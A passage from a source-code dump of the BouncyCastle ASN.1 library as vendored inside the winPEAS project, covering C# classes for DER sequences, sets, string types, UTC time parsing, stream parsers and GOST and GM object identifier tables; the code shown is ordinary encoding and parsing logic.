Asn1Equals( Asn1Object asn1Object) { DerPrintableString other = asn1Object as DerPrintableString; if (other == null) return false; return this.str.Equals(other.str); } /** * return true if the passed in String can be represented without * loss as a PrintableString, false otherwise. * * @return true if in printable set, false otherwise. */ public static bool IsPrintableString( string str) { foreach (char ch in str) { if (ch > 0x007f) return false; if (char.IsLetterOrDigit(ch)) continue; // if (char.IsPunctuation(ch)) // continue; switch (ch) { case ' ': case '\'': case '(': case ')': case '+': case '-': case '.': case ':': case '=': case '?': case '/': case ',': continue; } return false; } return true; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerSequence.cs ================================================ using System.IO; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class DerSequence : Asn1Sequence { public static readonly DerSequence Empty = new DerSequence(); public static DerSequence FromVector(Asn1EncodableVector elementVector) { return elementVector.Count < 1 ? Empty : new DerSequence(elementVector); } /** * create an empty sequence */ public DerSequence() : base() { } /** * create a sequence containing one object */ public DerSequence(Asn1Encodable element) : base(element) { } public DerSequence(params Asn1Encodable[] elements) : base(elements) { } /** * create a sequence containing a vector of objects. */ public DerSequence(Asn1EncodableVector elementVector) : base(elementVector) { } /* * A note on the implementation: *

    * As Der requires the constructed, definite-length model to * be used for structured types, this varies slightly from the * ASN.1 descriptions given. Rather than just outputing Sequence, * we also have to specify Constructed, and the objects length. */ internal override void Encode(DerOutputStream derOut) { // TODO Intermediate buffer could be avoided if we could calculate expected length MemoryStream bOut = new MemoryStream(); DerOutputStream dOut = new DerOutputStream(bOut); foreach (Asn1Encodable obj in this) { dOut.WriteObject(obj); } Platform.Dispose(dOut); byte[] bytes = bOut.ToArray(); derOut.WriteEncoded(Asn1Tags.Sequence | Asn1Tags.Constructed, bytes); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerSequenceParser.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class DerSequenceParser : Asn1SequenceParser { private readonly Asn1StreamParser _parser; internal DerSequenceParser( Asn1StreamParser parser) { this._parser = parser; } public IAsn1Convertible ReadObject() { return _parser.ReadObject(); } public Asn1Object ToAsn1Object() { return new DerSequence(_parser.ReadVector()); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerSet.cs ================================================ using System.IO; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * A Der encoded set object */ public class DerSet : Asn1Set { public static readonly DerSet Empty = new DerSet(); public static DerSet FromVector(Asn1EncodableVector elementVector) { return elementVector.Count < 1 ? Empty : new DerSet(elementVector); } internal static DerSet FromVector(Asn1EncodableVector elementVector, bool needsSorting) { return elementVector.Count < 1 ? Empty : new DerSet(elementVector, needsSorting); } /** * create an empty set */ public DerSet() : base() { } /** * @param obj - a single object that makes up the set. */ public DerSet(Asn1Encodable element) : base(element) { } public DerSet(params Asn1Encodable[] elements) : base(elements) { Sort(); } /** * @param v - a vector of objects making up the set. */ public DerSet(Asn1EncodableVector elementVector) : this(elementVector, true) { } internal DerSet(Asn1EncodableVector elementVector, bool needsSorting) : base(elementVector) { if (needsSorting) { Sort(); } } /* * A note on the implementation: *

    * As Der requires the constructed, definite-length model to * be used for structured types, this varies slightly from the * ASN.1 descriptions given. Rather than just outputing Set, * we also have to specify Constructed, and the objects length. */ internal override void Encode(DerOutputStream derOut) { // TODO Intermediate buffer could be avoided if we could calculate expected length MemoryStream bOut = new MemoryStream(); DerOutputStream dOut = new DerOutputStream(bOut); foreach (Asn1Encodable obj in this) { dOut.WriteObject(obj); } Platform.Dispose(dOut); byte[] bytes = bOut.ToArray(); derOut.WriteEncoded(Asn1Tags.Set | Asn1Tags.Constructed, bytes); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerSetParser.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class DerSetParser : Asn1SetParser { private readonly Asn1StreamParser _parser; internal DerSetParser( Asn1StreamParser parser) { this._parser = parser; } public IAsn1Convertible ReadObject() { return _parser.ReadObject(); } public Asn1Object ToAsn1Object() { return new DerSet(_parser.ReadVector(), false); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerStringBase.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public abstract class DerStringBase : Asn1Object, IAsn1String { protected DerStringBase() { } public abstract string GetString(); public override string ToString() { return GetString(); } protected override int Asn1GetHashCode() { return GetString().GetHashCode(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerT61String.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * Der T61String (also the teletex string) - 8-bit characters */ public class DerT61String : DerStringBase { private readonly string str; /** * return a T61 string from the passed in object. * * @exception ArgumentException if the object cannot be converted. */ public static DerT61String GetInstance( object obj) { if (obj == null || obj is DerT61String) { return (DerT61String)obj; } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); } /** * return an T61 string from a tagged object. * * @param obj the tagged object holding the object we want * @param explicitly true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static DerT61String GetInstance( Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is DerT61String) { return GetInstance(o); } return new DerT61String(Asn1OctetString.GetInstance(o).GetOctets()); } /** * basic constructor - with bytes. */ public DerT61String( byte[] str) : this(Strings.FromByteArray(str)) { } /** * basic constructor - with string. */ public DerT61String( string str) { if (str == null) throw new ArgumentNullException("str"); this.str = str; } public override string GetString() { return str; } internal override void Encode( DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.T61String, GetOctets()); } public byte[] GetOctets() { return Strings.ToByteArray(str); } protected override bool Asn1Equals( Asn1Object asn1Object) { DerT61String other = asn1Object as DerT61String; if (other == null) return false; return this.str.Equals(other.str); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerTaggedObject.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * DER TaggedObject - in ASN.1 notation this is any object preceded by * a [n] where n is some number - these are assumed to follow the construction * rules (as with sequences). */ public class DerTaggedObject : Asn1TaggedObject { /** * @param tagNo the tag number for this object. * @param obj the tagged object. */ public DerTaggedObject( int tagNo, Asn1Encodable obj) : base(tagNo, obj) { } /** * @param explicitly true if an explicitly tagged object. * @param tagNo the tag number for this object. * @param obj the tagged object. */ public DerTaggedObject( bool explicitly, int tagNo, Asn1Encodable obj) : base(explicitly, tagNo, obj) { } /** * create an implicitly tagged object that contains a zero * length sequence. */ public DerTaggedObject( int tagNo) : base(false, tagNo, DerSequence.Empty) { } internal override void Encode( DerOutputStream derOut) { if (!IsEmpty()) { byte[] bytes = obj.GetDerEncoded(); if (explicitly) { derOut.WriteEncoded(Asn1Tags.Constructed | Asn1Tags.Tagged, tagNo, bytes); } else { // // need to mark constructed types... (preserve Constructed tag) // int flags = (bytes[0] & Asn1Tags.Constructed) | Asn1Tags.Tagged; derOut.WriteTag(flags, tagNo); derOut.Write(bytes, 1, bytes.Length - 1); } } else { derOut.WriteEncoded(Asn1Tags.Constructed | Asn1Tags.Tagged, tagNo, new byte[0]); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerUniversalString.cs ================================================ using System; using System.Text; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * Der UniversalString object. */ public class DerUniversalString : DerStringBase { private static readonly char[] table = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' }; private readonly byte[] str; /** * return a Universal string from the passed in object. * * @exception ArgumentException if the object cannot be converted. */ public static DerUniversalString GetInstance( object obj) { if (obj == null || obj is DerUniversalString) { return (DerUniversalString)obj; } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); } /** * return a Universal string from a tagged object. * * @param obj the tagged object holding the object we want * @param explicitly true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static DerUniversalString GetInstance( Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is DerUniversalString) { return GetInstance(o); } return new DerUniversalString(Asn1OctetString.GetInstance(o).GetOctets()); } /** * basic constructor - byte encoded string. */ public DerUniversalString( byte[] str) { if (str == null) throw new ArgumentNullException("str"); this.str = str; } public override string GetString() { StringBuilder buffer = new StringBuilder("#"); byte[] enc = GetDerEncoded(); for (int i = 0; i != enc.Length; i++) { uint ubyte = enc[i]; buffer.Append(table[(ubyte >> 4) & 0xf]); buffer.Append(table[enc[i] & 0xf]); } return buffer.ToString(); } public byte[] GetOctets() { return (byte[])str.Clone(); } internal override void Encode( DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.UniversalString, this.str); } protected override bool Asn1Equals( Asn1Object asn1Object) { DerUniversalString other = asn1Object as DerUniversalString; if (other == null) return false; // return this.GetString().Equals(other.GetString()); return Arrays.AreEqual(this.str, other.str); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerUtcTime.cs ================================================ using System; using System.Globalization; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * UTC time object. */ public class DerUtcTime : Asn1Object { private readonly string time; /** * return an UTC Time from the passed in object. * * @exception ArgumentException if the object cannot be converted. */ public static DerUtcTime GetInstance( object obj) { if (obj == null || obj is DerUtcTime) { return (DerUtcTime)obj; } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); } /** * return an UTC Time from a tagged object. * * @param obj the tagged object holding the object we want * @param explicitly true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static DerUtcTime GetInstance( Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is DerUtcTime) { return GetInstance(o); } return new DerUtcTime(((Asn1OctetString)o).GetOctets()); } /** * The correct format for this is YYMMDDHHMMSSZ (it used to be that seconds were * never encoded. When you're creating one of these objects from scratch, that's * what you want to use, otherwise we'll try to deal with whatever Gets read from * the input stream... (this is why the input format is different from the GetTime() * method output). *

    * @param time the time string.

    */ public DerUtcTime( string time) { if (time == null) throw new ArgumentNullException("time"); this.time = time; try { ToDateTime(); } catch (FormatException e) { throw new ArgumentException("invalid date string: " + e.Message); } } /** * base constructor from a DateTime object */ public DerUtcTime( DateTime time) { #if PORTABLE this.time = time.ToUniversalTime().ToString("yyMMddHHmmss", CultureInfo.InvariantCulture) + "Z"; #else this.time = time.ToString("yyMMddHHmmss", CultureInfo.InvariantCulture) + "Z"; #endif } internal DerUtcTime( byte[] bytes) { // // explicitly convert to characters // this.time = Strings.FromAsciiByteArray(bytes); } // public DateTime ToDateTime() // { // string tm = this.AdjustedTimeString; // // return new DateTime( // Int16.Parse(tm.Substring(0, 4)), // Int16.Parse(tm.Substring(4, 2)), // Int16.Parse(tm.Substring(6, 2)), // Int16.Parse(tm.Substring(8, 2)), // Int16.Parse(tm.Substring(10, 2)), // Int16.Parse(tm.Substring(12, 2))); // } /** * return the time as a date based on whatever a 2 digit year will return. For * standardised processing use ToAdjustedDateTime(). * * @return the resulting date * @exception ParseException if the date string cannot be parsed. */ public DateTime ToDateTime() { return ParseDateString(TimeString, @"yyMMddHHmmss'GMT'zzz"); } /** * return the time as an adjusted date * in the range of 1950 - 2049. * * @return a date in the range of 1950 to 2049. * @exception ParseException if the date string cannot be parsed. */ public DateTime ToAdjustedDateTime() { return ParseDateString(AdjustedTimeString, @"yyyyMMddHHmmss'GMT'zzz"); } private DateTime ParseDateString( string dateStr, string formatStr) { DateTime dt = DateTime.ParseExact( dateStr, formatStr, DateTimeFormatInfo.InvariantInfo); return dt.ToUniversalTime(); } /** * return the time - always in the form of * YYMMDDhhmmssGMT(+hh:mm|-hh:mm). *

    * Normally in a certificate we would expect "Z" rather than "GMT", * however adding the "GMT" means we can just use: *

             *     dateF = new SimpleDateFormat("yyMMddHHmmssz");
             * 
    * To read in the time and Get a date which is compatible with our local * time zone.

    *

    * Note: In some cases, due to the local date processing, this * may lead to unexpected results. If you want to stick the normal * convention of 1950 to 2049 use the GetAdjustedTime() method.

    */ public string TimeString { get { // // standardise the format. // if (time.IndexOf('-') < 0 && time.IndexOf('+') < 0) { if (time.Length == 11) { return time.Substring(0, 10) + "00GMT+00:00"; } else { return time.Substring(0, 12) + "GMT+00:00"; } } else { int index = time.IndexOf('-'); if (index < 0) { index = time.IndexOf('+'); } string d = time; if (index == time.Length - 3) { d += "00"; } if (index == 10) { return d.Substring(0, 10) + "00GMT" + d.Substring(10, 3) + ":" + d.Substring(13, 2); } else { return d.Substring(0, 12) + "GMT" + d.Substring(12, 3) + ":" + d.Substring(15, 2); } } } } [Obsolete("Use 'AdjustedTimeString' property instead")] public string AdjustedTime { get { return AdjustedTimeString; } } /// /// Return a time string as an adjusted date with a 4 digit year. /// This goes in the range of 1950 - 2049. /// public string AdjustedTimeString { get { string d = TimeString; string c = d[0] < '5' ? "20" : "19"; return c + d; } } private byte[] GetOctets() { return Strings.ToAsciiByteArray(time); } internal override void Encode( DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.UtcTime, GetOctets()); } protected override bool Asn1Equals( Asn1Object asn1Object) { DerUtcTime other = asn1Object as DerUtcTime; if (other == null) return false; return this.time.Equals(other.time); } protected override int Asn1GetHashCode() { return time.GetHashCode(); } public override string ToString() { return time; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerUtf8String.cs ================================================ using System; using System.Text; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * Der UTF8String object. */ public class DerUtf8String : DerStringBase { private readonly string str; /** * return an UTF8 string from the passed in object. * * @exception ArgumentException if the object cannot be converted. */ public static DerUtf8String GetInstance( object obj) { if (obj == null || obj is DerUtf8String) { return (DerUtf8String)obj; } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); } /** * return an UTF8 string from a tagged object. * * @param obj the tagged object holding the object we want * @param explicitly true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static DerUtf8String GetInstance( Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is DerUtf8String) { return GetInstance(o); } return new DerUtf8String(Asn1OctetString.GetInstance(o).GetOctets()); } /** * basic constructor - byte encoded string. */ public DerUtf8String( byte[] str) : this(Encoding.UTF8.GetString(str, 0, str.Length)) { } /** * basic constructor */ public DerUtf8String( string str) { if (str == null) throw new ArgumentNullException("str"); this.str = str; } public override string GetString() { return str; } protected override bool Asn1Equals( Asn1Object asn1Object) { DerUtf8String other = asn1Object as DerUtf8String; if (other == null) return false; return this.str.Equals(other.str); } internal override void Encode( DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.Utf8String, Encoding.UTF8.GetBytes(str)); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerVideotexString.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public class DerVideotexString : DerStringBase { private readonly byte[] mString; /** * return a Videotex String from the passed in object * * @param obj a DERVideotexString or an object that can be converted into one. * @exception IllegalArgumentException if the object cannot be converted. * @return a DERVideotexString instance, or null. */ public static DerVideotexString GetInstance(object obj) { if (obj == null || obj is DerVideotexString) { return (DerVideotexString)obj; } if (obj is byte[]) { try { return (DerVideotexString)FromByteArray((byte[])obj); } catch (Exception e) { throw new ArgumentException("encoding error in GetInstance: " + e.ToString(), "obj"); } } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj), "obj"); } /** * return a Videotex String from a tagged object. * * @param obj the tagged object holding the object we want * @param explicit true if the object is meant to be explicitly * tagged false otherwise. * @exception IllegalArgumentException if the tagged object cannot * be converted. * @return a DERVideotexString instance, or null. */ public static DerVideotexString GetInstance(Asn1TaggedObject obj, bool isExplicit) { Asn1Object o = obj.GetObject(); if (isExplicit || o is DerVideotexString) { return GetInstance(o); } return new DerVideotexString(((Asn1OctetString)o).GetOctets()); } /** * basic constructor - with bytes. * @param string the byte encoding of the characters making up the string. */ public DerVideotexString(byte[] encoding) { this.mString = Arrays.Clone(encoding); } public override string GetString() { return Strings.FromByteArray(mString); } public byte[] GetOctets() { return Arrays.Clone(mString); } internal override void Encode(DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.VideotexString, mString); } protected override int Asn1GetHashCode() { return Arrays.GetHashCode(mString); } protected override bool Asn1Equals( Asn1Object asn1Object) { DerVideotexString other = asn1Object as DerVideotexString; if (other == null) return false; return Arrays.AreEqual(mString, other.mString); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/DerVisibleString.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * Der VisibleString object. */ public class DerVisibleString : DerStringBase { private readonly string str; /** * return a Visible string from the passed in object. * * @exception ArgumentException if the object cannot be converted. */ public static DerVisibleString GetInstance( object obj) { if (obj == null || obj is DerVisibleString) { return (DerVisibleString)obj; } if (obj is Asn1OctetString) { return new DerVisibleString(((Asn1OctetString)obj).GetOctets()); } if (obj is Asn1TaggedObject) { return GetInstance(((Asn1TaggedObject)obj).GetObject()); } throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); } /** * return a Visible string from a tagged object. * * @param obj the tagged object holding the object we want * @param explicitly true if the object is meant to be explicitly * tagged false otherwise. * @exception ArgumentException if the tagged object cannot * be converted. */ public static DerVisibleString GetInstance( Asn1TaggedObject obj, bool explicitly) { return GetInstance(obj.GetObject()); } /** * basic constructor - byte encoded string. */ public DerVisibleString( byte[] str) : this(Strings.FromAsciiByteArray(str)) { } /** * basic constructor */ public DerVisibleString( string str) { if (str == null) throw new ArgumentNullException("str"); this.str = str; } public override string GetString() { return str; } public byte[] GetOctets() { return Strings.ToAsciiByteArray(str); } internal override void Encode( DerOutputStream derOut) { derOut.WriteEncoded(Asn1Tags.VisibleString, GetOctets()); } protected override bool Asn1Equals( Asn1Object asn1Object) { DerVisibleString other = asn1Object as DerVisibleString; if (other == null) return false; return this.str.Equals(other.str); } protected override int Asn1GetHashCode() { return this.str.GetHashCode(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/IAsn1ApplicationSpecificParser.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public interface IAsn1ApplicationSpecificParser : IAsn1Convertible { IAsn1Convertible ReadObject(); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/IAsn1Choice.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * Marker interface for CHOICE objects - if you implement this in a roll-your-own * object, any attempt to tag the object implicitly will convert the tag to an * explicit one as the encoding rules require. *

    * If you use this interface your class should also implement the getInstance * pattern which takes a tag object and the tagging mode used. *

    */ public interface IAsn1Choice { // marker interface } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/IAsn1Convertible.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { public interface IAsn1Convertible { Asn1Object ToAsn1Object(); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/IAsn1String.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * basic interface for Der string objects. */ public interface IAsn1String { string GetString(); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/IndefiniteLengthInputStream.cs ================================================ using System.IO; namespace winPEAS._3rdParty.BouncyCastle.asn1 { class IndefiniteLengthInputStream : LimitedInputStream { private int _lookAhead; private bool _eofOn00 = true; internal IndefiniteLengthInputStream( Stream inStream, int limit) : base(inStream, limit) { _lookAhead = RequireByte(); CheckForEof(); } internal void SetEofOn00( bool eofOn00) { _eofOn00 = eofOn00; if (_eofOn00) { CheckForEof(); } } private bool CheckForEof() { if (_lookAhead == 0x00) { int extra = RequireByte(); if (extra != 0) { throw new IOException("malformed end-of-contents marker"); } _lookAhead = -1; SetParentEofDetect(true); return true; } return _lookAhead < 0; } public override int Read( byte[] buffer, int offset, int count) { // Only use this optimisation if we aren't checking for 00 if (_eofOn00 || count <= 1) return base.Read(buffer, offset, count); if (_lookAhead < 0) return 0; int numRead = _in.Read(buffer, offset + 1, count - 1); if (numRead <= 0) { // Corrupted stream throw new EndOfStreamException(); } buffer[offset] = (byte)_lookAhead; _lookAhead = RequireByte(); return numRead + 1; } public override int ReadByte() { if (_eofOn00 && CheckForEof()) return -1; int result = _lookAhead; _lookAhead = RequireByte(); return result; } private int RequireByte() { int b = _in.ReadByte(); if (b < 0) { // Corrupted stream throw new EndOfStreamException(); } return b; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/LimitedInputStream.cs ================================================ using System.IO; using winPEAS._3rdParty.BouncyCastle.util.io; namespace winPEAS._3rdParty.BouncyCastle.asn1 { internal abstract class LimitedInputStream : BaseInputStream { protected readonly Stream _in; private int _limit; internal LimitedInputStream(Stream inStream, int limit) { this._in = inStream; this._limit = limit; } internal virtual int Limit { get { return _limit; } } protected virtual void SetParentEofDetect(bool on) { if (_in is IndefiniteLengthInputStream) { ((IndefiniteLengthInputStream)_in).SetEofOn00(on); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/OidTokenizer.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * class for breaking up an Oid into it's component tokens, ala * java.util.StringTokenizer. We need this class as some of the * lightweight Java environment don't support classes like * StringTokenizer. */ public class OidTokenizer { private string oid; private int index; public OidTokenizer( string oid) { this.oid = oid; } public bool HasMoreTokens { get { return index != -1; } } public string NextToken() { if (index == -1) { return null; } int end = oid.IndexOf('.', index); if (end == -1) { string lastToken = oid.Substring(index); index = -1; return lastToken; } string nextToken = oid.Substring(index, end - index); index = end + 1; return nextToken; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/cryptopro/CryptoProObjectIdentifiers.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1.cryptopro { public abstract class CryptoProObjectIdentifiers { // GOST Algorithms OBJECT IDENTIFIERS : // { iso(1) member-body(2) ru(643) rans(2) cryptopro(2)} public const string GostID = "1.2.643.2.2"; public static readonly DerObjectIdentifier GostR3411 = new DerObjectIdentifier(GostID + ".9"); public static readonly DerObjectIdentifier GostR3411Hmac = new DerObjectIdentifier(GostID + ".10"); public static readonly DerObjectIdentifier GostR28147Cbc = new DerObjectIdentifier(GostID + ".21"); public static readonly DerObjectIdentifier ID_Gost28147_89_CryptoPro_A_ParamSet = new DerObjectIdentifier(GostID + ".31.1"); public static readonly DerObjectIdentifier GostR3410x94 = new DerObjectIdentifier(GostID + ".20"); public static readonly DerObjectIdentifier GostR3410x2001 = new DerObjectIdentifier(GostID + ".19"); public static readonly DerObjectIdentifier GostR3411x94WithGostR3410x94 = new DerObjectIdentifier(GostID + ".4"); public static readonly DerObjectIdentifier GostR3411x94WithGostR3410x2001 = new DerObjectIdentifier(GostID + ".3"); // { iso(1) member-body(2) ru(643) rans(2) cryptopro(2) hashes(30) } public static readonly DerObjectIdentifier GostR3411x94CryptoProParamSet = new DerObjectIdentifier(GostID + ".30.1"); // { iso(1) member-body(2) ru(643) rans(2) cryptopro(2) signs(32) } public static readonly DerObjectIdentifier GostR3410x94CryptoProA = new DerObjectIdentifier(GostID + ".32.2"); public static readonly DerObjectIdentifier GostR3410x94CryptoProB = new DerObjectIdentifier(GostID + ".32.3"); public static readonly DerObjectIdentifier GostR3410x94CryptoProC = new DerObjectIdentifier(GostID + ".32.4"); public static readonly DerObjectIdentifier GostR3410x94CryptoProD = new DerObjectIdentifier(GostID + ".32.5"); // { iso(1) member-body(2) ru(643) rans(2) cryptopro(2) exchanges(33) } public static readonly DerObjectIdentifier GostR3410x94CryptoProXchA = new DerObjectIdentifier(GostID + ".33.1"); public static readonly DerObjectIdentifier GostR3410x94CryptoProXchB = new DerObjectIdentifier(GostID + ".33.2"); public static readonly DerObjectIdentifier GostR3410x94CryptoProXchC = new DerObjectIdentifier(GostID + ".33.3"); //{ iso(1) member-body(2)ru(643) rans(2) cryptopro(2) ecc-signs(35) } public static readonly DerObjectIdentifier GostR3410x2001CryptoProA = new DerObjectIdentifier(GostID + ".35.1"); public static readonly DerObjectIdentifier GostR3410x2001CryptoProB = new DerObjectIdentifier(GostID + ".35.2"); public static readonly DerObjectIdentifier GostR3410x2001CryptoProC = new DerObjectIdentifier(GostID + ".35.3"); // { iso(1) member-body(2) ru(643) rans(2) cryptopro(2) ecc-exchanges(36) } public static readonly DerObjectIdentifier GostR3410x2001CryptoProXchA = new DerObjectIdentifier(GostID + ".36.0"); public static readonly DerObjectIdentifier GostR3410x2001CryptoProXchB = new DerObjectIdentifier(GostID + ".36.1"); public static readonly DerObjectIdentifier GostElSgDH3410Default = new DerObjectIdentifier(GostID + ".36.0"); public static readonly DerObjectIdentifier GostElSgDH3410x1 = new DerObjectIdentifier(GostID + ".36.1"); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/gm/GMObjectIdentifiers.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1.gm { public abstract class GMObjectIdentifiers { public static readonly DerObjectIdentifier sm_scheme = new DerObjectIdentifier("1.2.156.10197.1"); public static readonly DerObjectIdentifier sm6_ecb = sm_scheme.Branch("101.1"); public static readonly DerObjectIdentifier sm6_cbc = sm_scheme.Branch("101.2"); public static readonly DerObjectIdentifier sm6_ofb128 = sm_scheme.Branch("101.3"); public static readonly DerObjectIdentifier sm6_cfb128 = sm_scheme.Branch("101.4"); public static readonly DerObjectIdentifier sm1_ecb = sm_scheme.Branch("102.1"); public static readonly DerObjectIdentifier sm1_cbc = sm_scheme.Branch("102.2"); public static readonly DerObjectIdentifier sm1_ofb128 = sm_scheme.Branch("102.3"); public static readonly DerObjectIdentifier sm1_cfb128 = sm_scheme.Branch("102.4"); public static readonly DerObjectIdentifier sm1_cfb1 = sm_scheme.Branch("102.5"); public static readonly DerObjectIdentifier sm1_cfb8 = sm_scheme.Branch("102.6"); public static readonly DerObjectIdentifier ssf33_ecb = sm_scheme.Branch("103.1"); public static readonly DerObjectIdentifier ssf33_cbc = sm_scheme.Branch("103.2"); public static readonly DerObjectIdentifier ssf33_ofb128 = sm_scheme.Branch("103.3"); public static readonly DerObjectIdentifier ssf33_cfb128 = sm_scheme.Branch("103.4"); public static readonly DerObjectIdentifier ssf33_cfb1 = sm_scheme.Branch("103.5"); public static readonly DerObjectIdentifier ssf33_cfb8 = sm_scheme.Branch("103.6"); public static readonly DerObjectIdentifier sms4_ecb = sm_scheme.Branch("104.1"); public static readonly DerObjectIdentifier sms4_cbc = sm_scheme.Branch("104.2"); public static readonly DerObjectIdentifier sms4_ofb128 = sm_scheme.Branch("104.3"); public static readonly DerObjectIdentifier sms4_cfb128 = sm_scheme.Branch("104.4"); public static readonly DerObjectIdentifier sms4_cfb1 = sm_scheme.Branch("104.5"); public static readonly DerObjectIdentifier sms4_cfb8 = sm_scheme.Branch("104.6"); public static readonly DerObjectIdentifier sms4_ctr = sm_scheme.Branch("104.7"); public static readonly DerObjectIdentifier sms4_gcm = sm_scheme.Branch("104.8"); public static readonly DerObjectIdentifier sms4_ccm = sm_scheme.Branch("104.9"); public static readonly DerObjectIdentifier sms4_xts = sm_scheme.Branch("104.10"); public static readonly DerObjectIdentifier sms4_wrap = sm_scheme.Branch("104.11"); public static readonly DerObjectIdentifier sms4_wrap_pad = sm_scheme.Branch("104.12"); public static readonly DerObjectIdentifier sms4_ocb = sm_scheme.Branch("104.100"); public static readonly DerObjectIdentifier sm5 = sm_scheme.Branch("201"); public static readonly DerObjectIdentifier sm2p256v1 = sm_scheme.Branch("301"); public static readonly DerObjectIdentifier sm2sign = sm_scheme.Branch("301.1"); public static readonly DerObjectIdentifier sm2exchange = sm_scheme.Branch("301.2"); public static readonly DerObjectIdentifier sm2encrypt = sm_scheme.Branch("301.3"); public static readonly DerObjectIdentifier wapip192v1 = sm_scheme.Branch("301.101"); public static readonly DerObjectIdentifier sm2encrypt_recommendedParameters = sm2encrypt.Branch("1"); public static readonly DerObjectIdentifier sm2encrypt_specifiedParameters = sm2encrypt.Branch("2"); public static readonly DerObjectIdentifier sm2encrypt_with_sm3 = sm2encrypt.Branch("2.1"); public static readonly DerObjectIdentifier sm2encrypt_with_sha1 = sm2encrypt.Branch("2.2"); public static readonly DerObjectIdentifier sm2encrypt_with_sha224 = sm2encrypt.Branch("2.3"); public static readonly DerObjectIdentifier sm2encrypt_with_sha256 = sm2encrypt.Branch("2.4"); public static readonly DerObjectIdentifier sm2encrypt_with_sha384 = 